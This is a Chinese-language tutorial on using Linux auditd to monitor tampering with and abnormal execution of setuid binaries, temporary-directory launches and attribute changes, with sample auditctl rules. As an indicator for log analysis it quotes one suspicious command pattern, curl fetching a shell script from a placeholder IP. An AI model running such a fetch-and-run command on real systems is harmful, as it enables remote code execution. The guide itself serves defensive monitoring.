如何利用安全审计模块监控防范关键系统二进制程序执行环境污染实战

作者:袖梨 2026-07-10
核心是精准捕获异常启动路径、非预期调用上下文和权限变更行为,重点监控sudo、su、passwd等高价值setuid程序及/tmp等非常规路径执行,结合execve系统调用与inode属性变更审计,实现对“本不该在这里运行”和“本不该以这种方式运行”的程序的有效识别。

监控关键系统二进制程序的执行环境,核心不是“防所有执行”,而是精准捕获异常启动路径、非预期调用上下文和权限变更行为。重点在于识别“本不该在这里运行的程序”和“本不该以这种方式运行的程序”。

聚焦高价值目标,不扫全盘可执行文件

盲目监控 /usr/bin/*/bin/* 会导致规则膨胀、日志淹没、性能抖动,auditd 本身也不支持通配符路径。真正需要盯住的是具备提权能力或广泛信任链的二进制:

  • /usr/bin/sudo/bin/su/usr/bin/passwd —— 攻击者最常篡改或劫持的对象
  • /usr/bin/crontab/usr/bin/at/usr/bin/newgrp —— 常被用于持久化任务调度
  • /bin/bash/usr/bin/python3/usr/bin/perl —— 解释器本身虽不带 setuid,但被从临时目录调用时极可能承载恶意逻辑

快速定位当前系统所有 setuid 程序:
find /usr/bin /bin /sbin /usr/sbin -type f -perm -4000 2>/dev/null

用 execve 系统调用锚定真实执行起点

仅靠 -w /path -p x 无法区分“正常调用”和“异常上下文调用”。必须深入到系统调用层,捕获 execve 事件本身,并绑定路径与架构:

  • 监控 /usr/bin/curl 所有执行: sudo auditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/curl -F key=exec_curl
  • 同时捕获命令行参数(便于发现绕过):加 -F auid!=4294967295 排除内核线程,加 -F exe=/usr/bin/bash 可追溯父解释器
  • 规则需写入 /etc/audit/rules.d/exec-bin.rules,再执行 augenrules --load 永久生效

拦截非常规路径的“影子执行”行为

攻击者极少直接替换 /usr/bin/sudo,更倾向释放后门到 /tmp/dev/shm/var/tmp 并直接执行。这类行为必须单独设防:

  • 捕获任意进程在 /tmp 下执行: sudo auditctl -a always,exit -F path=/tmp -F perm=x -F key=exec_tmp
  • 同理覆盖 /dev/shm/var/tmp,注意避免误报:若业务确需在此执行(如某些编译缓存),应配合 -F uid!=0-F auid>=1000 限定范围
  • 对解释器类文件做二次过滤:例如只告警 /tmp/*.sh/bin/sh 执行,可用 Tetragon 或自定义 rsyslog 过滤实现

结合属性变更监控,覆盖软链接与权限劫持

很多污染不改文件内容,只改元数据——比如给普通文件加 setuid、创建指向恶意二进制的软链接、修改属主伪装成系统程序。这些行为 -p w 完全无效,必须用 -p a

  • sudo auditctl -w /usr/bin/sudo -p a -k attr_sudo
  • sudo auditctl -w /bin/su -p a -k attr_su
  • 该规则能捕获 chmod u+schown root:rootln -sf 等全部 inode 层变更

日志中出现 proctitle= 字段为空或含可疑参数(如 -c "curl http://x.x.x.x/sh"),配合 key=exec_tmpkey=attr_sudo 关联分析,基本可锁定污染链。

相关文章

精彩推荐